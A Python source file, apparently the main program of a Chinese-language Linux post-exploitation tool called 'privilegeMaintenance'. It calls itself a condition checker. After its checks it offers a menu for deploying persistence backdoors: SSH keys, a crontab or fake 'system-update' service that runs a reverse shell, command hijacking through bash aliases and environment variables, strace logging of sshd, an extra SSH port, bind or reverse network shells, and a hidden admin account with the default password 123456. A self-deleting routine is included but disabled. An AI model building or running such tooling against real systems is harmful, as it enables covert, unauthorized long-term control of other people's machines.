#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

"""privilegeMaintenance v1.0 - 条件检测模式

Linux系统安全检测工具 - 主程序

作者: 大傻逼
版本: v1.0
功能: 检测Linux系统中可能存在的安全漏洞条件
注意: 本工具仅检测可能存在漏洞的条件，不判断实际漏洞存在性
"""

# Python 2/3 兼容性处理
import os
import sys

# 设置默认编码，避免ASCII编码错误
if sys.version_info[0] == 2:
    try:
        reload(sys)  # Python 2 only
        sys.setdefaultencoding('utf-8')
    except NameError:
        pass  # Python 3 doesn't have reload in builtins
    import codecs
    
# 设置环境变量，确保正确的编码处理
os.environ['PYTHONIOENCODING'] = 'utf-8'
if 'LC_ALL' not in os.environ:
    os.environ['LC_ALL'] = 'C.UTF-8'

# 导入拆分后的模块
try:
    from core.utils import color, color_title, color_green, color_yellow, color_red, color_blue, color_purple, ml, system_info, get_ip_input, get_port_input, get_reverse_shell_command
    from core.distro_detection import (
        detect_linux_distro, detect_ubuntu_version, detect_debian_version,
        detect_centos_stream_version, detect_fedora_version, detect_rocky_version,
        detect_almalinux_version, detect_opensuse_version, detect_alibaba_version,
        detect_anolis_version
    )
    from modules.persistence.ssh_checks import (
        check_ssh_service_status, check_sshkey, check_ssh_user_backdoor,
        check_ssh_soft_link_backdoor
    )
    from modules.persistence.backdoor_checks import (
        check_alerts, check_crontab, check_strace, check_ssh_config,
        is_ssh_key_login_enabled, ssh_ip, check_system_info
    )
    from config.config_checks import (
        check_centos_specific, check_rhel_specific, check_path,
        check_bash, check_network_tools
    )
    from config.distro_specific_checks import (
        check_debian_specific, check_fedora_specific, check_alpine_specific,
        check_suse_specific, check_alibaba_specific, check_anolis_specific
    )
    from modules.intelligence.dependency_manager import DependencyManager
    from modules.intelligence.intelligent_decision import IntelligentDecisionEngine
    from modules.intelligence.intelligent_upgrade_architecture import IntelligentUpgradeArchitecture
except ImportError as e:
    print("导入模块失败: {}".format(e))
    print("请确保所有模块文件都在同一目录下")
    sys.exit(1)


def delete_current_script():
    """删除当前执行的脚本文件"""
    try:
        script_path = os.path.abspath(sys.argv[0])
        os.remove(script_path)
        print("当前脚本文件已成功删除" + script_path)
    except Exception as e:
        print("无法删除当前脚本文件：", e)


# 全局变量用于收集检测结果
system_info = {}
check_results = {}

def main():
    """主函数 - 执行所有检测"""
    global system_info, check_results
    
    print('---------------------{\033[95m[+]privilegeMaintenance\033[0m v1.0 - 条件检测模式}-------------')
    print('\033[93m注意: 本工具仅检测可能存在漏洞的条件，不判断实际漏洞存在性\033[0m')
    print('=' * 70)
    
    try:
        # 依赖检查和管理
        color_blue("\n🔧 检查系统依赖...")
        dep_manager = DependencyManager()
        
        if dep_manager.initialize():
            missing_deps = dep_manager.check_all_dependencies()
            
            if missing_deps:
                color_yellow("\n⚠️  发现缺失依赖: {}".format(', '.join(missing_deps)))
                color_blue("这些依赖对于某些功能是必需的")
                
                try:
                    choice = input("是否自动安装缺失的依赖? (y/n): ").strip().lower()
                    if choice in ['y', 'yes', '是']:
                        color_blue("开始安装依赖...")
                        dep_manager.install_missing_dependencies(missing_deps, auto_confirm=False)
                    else:
                        color_yellow("跳过依赖安装，某些功能可能无法正常使用")
                except (KeyboardInterrupt, EOFError):
                    color_yellow("\n跳过依赖安装")
            else:
                color_green("✓ 所有依赖都已安装")
        else:
            color_yellow("依赖管理器初始化失败，继续执行检测...")
        
        print("\n" + "="*70)
        
        # 系统信息检测
        check_system_info()
        
        # 发行版特定检测
        distro = detect_linux_distro()
        if distro == 'debian_based':
            check_debian_specific()
        elif distro == 'fedora_based':
            check_fedora_specific()
        elif distro == 'alpine_based':
            check_alpine_specific()
        elif distro == 'suse_based':
            check_suse_specific()
        elif distro == 'alibaba_based':
            check_alibaba_specific()
        elif distro == 'anolis_based':
            check_anolis_specific()
        elif distro == 'centos_based' or distro == 'centos_stream_based':
            check_centos_specific()
        elif distro == 'rhel_based':
            check_rhel_specific()
        
        # 后门条件检测
        check_ssh_user_backdoor()
        check_alerts()
        check_crontab()
        check_ssh_soft_link_backdoor()
        check_sshkey()
        check_ssh_config()
        check_strace()
        check_bash()
        
        # SSH连接信息
        ssh_ip()
        
        # 开发环境检测
        check_path()
        
        # 智能决策分析
        perform_intelligent_analysis()
        
        # 检测完成后询问是否进行利用
        ask_for_exploitation()
        
    except Exception as e:
        color_red("检测过程中发生错误: {}".format(e))
        print("检测未能完成，请检查系统环境")
    
    # 删除脚本文件 - 已禁用，保留文件
    # delete_current_script()

def perform_intelligent_analysis():
    """执行智能化升级架构分析"""
    global system_info, check_results, intelligent_analysis_results
    
    try:
        color_blue("\n🧠 启动智能化升级架构分析...")
        
        # 创建智能化升级架构
        architecture = IntelligentUpgradeArchitecture("balanced")
        
        # 收集系统信息和检测结果
        collect_system_info()
        collect_check_results()
        
        # 执行综合智能分析
        if system_info and check_results:
            analysis_results = architecture.perform_comprehensive_analysis(system_info, check_results)
            
            # 存储分析结果供后续使用
            intelligent_analysis_results = {
                'architecture': architecture,
                'analysis_results': analysis_results,
                'recommendations': analysis_results.recommendations,
                'strategy': analysis_results.deployment_strategy,
                'plan': analysis_results.execution_plan,
                'optimized_parameters': analysis_results.optimized_parameters,
                'risk_assessment': analysis_results.risk_assessment,
                'confidence_score': analysis_results.confidence_score
            }
            
            color_green("\n[+] 智能化分析完成！置信度: {:.2f}".format(analysis_results.confidence_score))
            
            # 保存分析报告
            try:
                report_path = architecture.save_analysis_report()
                color_blue("[*] 分析报告已保存: {}".format(report_path))
            except Exception as e:
                color_yellow("[?] 保存报告失败: {}".format(e))
                
        else:
            color_yellow("\n[?] 系统信息或检测结果不完整，跳过智能分析")
            
    except Exception as e:
        color_red("\n[-] 智能化分析失败: {}".format(e))
        color_yellow("[?] 将使用传统模式继续")

def collect_system_info():
    """收集系统信息"""
    global system_info
    
    try:
        import platform
        
        system_info = {
            'os_type': platform.system(),
            'distro': platform.platform(),
            'kernel': platform.release(),
            'arch': platform.machine(),
            'hostname': platform.node(),
            'python_version': platform.python_version()
        }
        
        # 尝试获取更详细的发行版信息
        try:
            distro_info = detect_linux_distro()
            if distro_info:
                system_info['distro'] = distro_info
        except:
            pass
            
    except Exception as e:
        color_yellow("[?] 收集系统信息时出错: {}".format(e))

def collect_check_results():
    """收集检测结果"""
    global check_results
    
    # 这里应该从各个检测函数收集结果
    # 由于原始代码没有返回值，我们使用一些基本的检测
    try:
        check_results = {
            'ssh_user_check': os.path.exists('/home') and len(os.listdir('/home')) > 0,
            'root_access': os.getuid() == 0 if hasattr(os, 'getuid') else False,
            'network_exposure': True,  # 假设有网络访问
            'services_running': True,
            'file_permissions': True,
            'cron_available': os.path.exists('/etc/crontab') or os.path.exists('/var/spool/cron'),
            'bash_available': os.path.exists('/bin/bash') or os.path.exists('/usr/bin/bash'),
            'strace_available': os.path.exists('/usr/bin/strace') or os.path.exists('/bin/strace'),
            'ssh_config_writable': os.path.exists('/etc/ssh/sshd_config'),
            'network_access': True,
            'user_creation_possible': os.getuid() == 0 if hasattr(os, 'getuid') else False
        }
    except Exception as e:
        color_yellow("[?] 收集检测结果时出错: {}".format(e))
        check_results = {}

# 全局变量存储智能分析结果
intelligent_analysis_results = {}

def ask_for_exploitation():
    """询问是否要进行权限维持利用"""
    global intelligent_analysis_results
    
    try:
        from modules.exploits.exploit_modules import BackdoorManager
        
        print("\n" + "="*70)
        color_yellow("🤔 检测完成！是否要进行权限维持后门部署？")
        print("="*70)
        
        # 显示智能化分析结果（如果有的话）
        if intelligent_analysis_results and intelligent_analysis_results.get('recommendations'):
            color_purple("\n💡 基于智能化升级架构的推荐方案:")
            recommendations = intelligent_analysis_results['recommendations']
            for i, rec in enumerate(recommendations[:3], 1):  # 只显示前3个推荐
                color_green("  {0}. {1} - 评分: {2:.1f}/10".format(i, rec['type'].upper(), rec['score']))
                color_blue("     {0}".format(rec['reason']))
            
            # 显示风险评估
            if intelligent_analysis_results.get('risk_assessment'):
                risk = intelligent_analysis_results['risk_assessment']
                color_yellow("\n⚠️  风险评估: {0}风险等级 (评分: {1}/100)".format(risk.get('risk_level', '未知'), risk.get('risk_score', 0)))
                if risk.get('risk_factors'):
                    color_blue("   主要风险因素:")
                    for factor in risk['risk_factors'][:3]:  # 只显示前3个
                        color_blue("     - {}".format(factor))
            
            # 显示部署策略
            if intelligent_analysis_results.get('strategy'):
                strategy = intelligent_analysis_results['strategy']
                color_yellow(f"\n🎯 推荐策略:")
                if strategy.get('risk_level'):
                    color_blue("   风险等级: {}".format(strategy['risk_level']))
                if strategy.get('stealth_mode'):
                    color_blue("   隐蔽模式: 启用")
                if strategy.get('multi_layer'):
                    color_blue("   多层部署: 推荐")
            
            # 显示置信度
            confidence = intelligent_analysis_results.get('confidence_score', 0)
            color_yellow("\n📊 分析置信度: {:.2f} ({:.1f}%)".format(confidence, confidence*100))
        
        while True:
            try:
                choice = input("\n是否继续进行利用？(y/n): ").strip().lower()
                if choice in ['y', 'yes', '是', '1']:
                    start_exploitation()
                    break
                elif choice in ['n', 'no', '否', '0']:
                    color_yellow("👋 感谢使用 privilegeMaintenance!")
                    break
                else:
                    color_red("请输入 y/n 或 是/否")
            except (KeyboardInterrupt, EOFError):
                print("\n\n用户取消操作")
                break
                
    except ImportError:
        color_red("利用模块未找到，请确保 exploit_modules.py 文件存在")

def start_exploitation():
    """开始权限维持利用"""
    try:
        from modules.exploits.exploit_modules import BackdoorManager
        
        manager = BackdoorManager()
        
        while True:
            print("\n" + "="*70)
            color_blue("🎯 请选择权限维持方法:")
            print("="*70)
            
            methods = [
                ("SSH密钥后门", "高持久性，适合远程访问", "高"),
                ("Crontab定时任务后门", "定时执行，持久性强", "中"),
                ("Bash别名后门", "命令劫持，隐蔽性好", "中"),
                ("Strace进程监控后门", "进程监控，信息收集", "低"),
                ("系统服务后门", "系统级持久化", "高"),
                ("环境变量后门", "命令劫持，隐蔽性强", "中"),
                ("SSH配置后门", "SSH服务劫持", "高"),
                ("网络后门", "网络监听，远程控制", "中"),
                ("用户账户后门", "创建隐藏管理员账户", "高")
            ]
            
            for i, (name, desc, risk) in enumerate(methods, 1):
                color_green("[{}] {}".format(i, name))
                print("    描述: {}".format(desc))
                print("    风险等级: {}".format(risk))
                print()
            
            color_yellow("[0] 返回检测")
            color_red("[q] 退出程序")
            print("="*70)
            
            choice = input("请选择: ").strip()
            
            if choice.lower() == 'q':
                color_yellow("\n👋 感谢使用 privilegeMaintenance!")
                break
            elif choice == '0':
                break
            elif choice == '1':
                configure_ssh_key_backdoor(manager)
            elif choice == '2':
                configure_crontab_backdoor(manager)
            elif choice == '3':
                configure_bash_alias_backdoor(manager)
            elif choice == '4':
                configure_strace_backdoor(manager)
            elif choice == '5':
                configure_service_backdoor(manager)
            elif choice == '6':
                configure_env_backdoor(manager)
            elif choice == '7':
                configure_ssh_config_backdoor(manager)
            elif choice == '8':
                configure_network_backdoor(manager)
            elif choice == '9':
                configure_user_account_backdoor(manager)
            else:
                color_red("无效选择，请重新输入")
                
            if choice not in ['0', 'q']:
                input("\n按回车键继续...")
                
    except ImportError:
        color_red("利用模块未找到，请确保 exploit_modules.py 文件存在")

def get_user_input(prompt, default=None):
    """获取用户输入"""
    if default:
        full_prompt = "{} [默认: {}]: ".format(prompt, default)
    else:
        full_prompt = "{}: ".format(prompt)
        
    try:
        user_input = input(full_prompt).strip()
        return user_input if user_input else default
    except (KeyboardInterrupt, EOFError):
        print("\n\n用户取消操作")
        return None

def configure_ssh_key_backdoor(manager):
    """配置SSH密钥后门"""
    color_blue("\n🔑 配置SSH密钥后门")
    print("-" * 40)
    
    public_key = get_user_input("请输入公钥 (留空自动生成)")
    
    kwargs = {}
    if public_key:
        kwargs['public_key'] = public_key
        
    return manager.deploy_backdoor(1, **kwargs)

def configure_crontab_backdoor(manager):
    """配置Crontab后门"""
    color_blue("\n⏰ 配置Crontab定时任务后门")
    print("-" * 40)
    
    # 使用新的IP端口输入函数
    command = get_reverse_shell_command()
    if command is None:
        return False
    
    interval = get_user_input("执行间隔 (cron格式)", "*/5 * * * *")
    if interval is None:
        return False
        
    return manager.deploy_backdoor(2, command=command, interval=interval)

def configure_bash_alias_backdoor(manager):
    """配置Bash别名后门"""
    color_blue("\n🎭 配置Bash别名后门")
    print("-" * 40)
    
    target_command = get_user_input("要劫持的命令", "ls")
    backdoor_command = get_user_input("后门命令 (留空使用默认)")
    
    if target_command is None:
        return False
        
    kwargs = {'target_command': target_command}
    if backdoor_command:
        kwargs['backdoor_command'] = backdoor_command
        
    return manager.deploy_backdoor(3, **kwargs)

def configure_strace_backdoor(manager):
    """配置Strace监控后门"""
    color_blue("\n👁️ 配置Strace进程监控后门")
    print("-" * 40)
    
    target_process = get_user_input("监控进程名", "sshd")
    log_file = get_user_input("日志文件路径", "/tmp/.strace.log")
    
    if target_process is None or log_file is None:
        return False
        
    return manager.deploy_backdoor(4, target_process=target_process, log_file=log_file)

def configure_service_backdoor(manager):
    """配置系统服务后门"""
    color_blue("\n🛠️ 配置系统服务后门")
    print("-" * 40)
    
    service_name = get_user_input("服务名称", "system-update")
    if service_name is None:
        return False
    
    # 使用新的IP端口输入函数
    command = get_reverse_shell_command()
    if command is None:
        return False
    
    # 包装为bash -c格式
    command = f"bash -c '{command}'"
        
    return manager.deploy_backdoor(5, service_name=service_name, command=command)

def configure_env_backdoor(manager):
    """配置环境变量后门"""
    color_blue("\n🌍 配置环境变量后门")
    print("-" * 40)
    
    target_binary = get_user_input("要劫持的命令", "ls")
    
    if target_binary is None:
        return False
        
    return manager.deploy_backdoor(6, target_binary=target_binary)

def configure_ssh_config_backdoor(manager):
    """配置SSH配置后门"""
    color_blue("\n🔧 配置SSH配置后门")
    print("-" * 40)
    
    # 使用新的端口输入函数
    backdoor_port = get_port_input("请输入SSH后门端口", "2222")
    if backdoor_port is None:
        return False
        
    return manager.deploy_backdoor(7, backdoor_port=backdoor_port)

def configure_network_backdoor(manager):
    """配置网络后门"""
    color_blue("\n🌐 配置网络后门")
    print("-" * 40)
    
    # 使用新的端口输入函数
    port = get_port_input("请输入网络后门端口", "8888")
    if port is None:
        return False
    
    shell_type = get_user_input("Shell类型 (bind/reverse)", "bind")
    if shell_type is None:
        return False
        
    bind_shell = shell_type.lower() == 'bind'
    
    return manager.deploy_backdoor(8, port=port, bind_shell=bind_shell)

def configure_user_account_backdoor(manager):
    """配置用户账户后门"""
    color_blue("\n👤 配置用户账户后门")
    print("-" * 40)
    
    username = get_user_input("请输入用户名 (留空自动生成)", None)
    password = get_user_input("请输入密码", "123456")
    method = get_user_input("选择部署方法 (useradd/passwd_direct)", "useradd")
    
    if username is None or password is None or method is None:
        return False
        
    return manager.deploy_backdoor(9, username=username, password=password, method=method)


if __name__ == '__main__':
    main()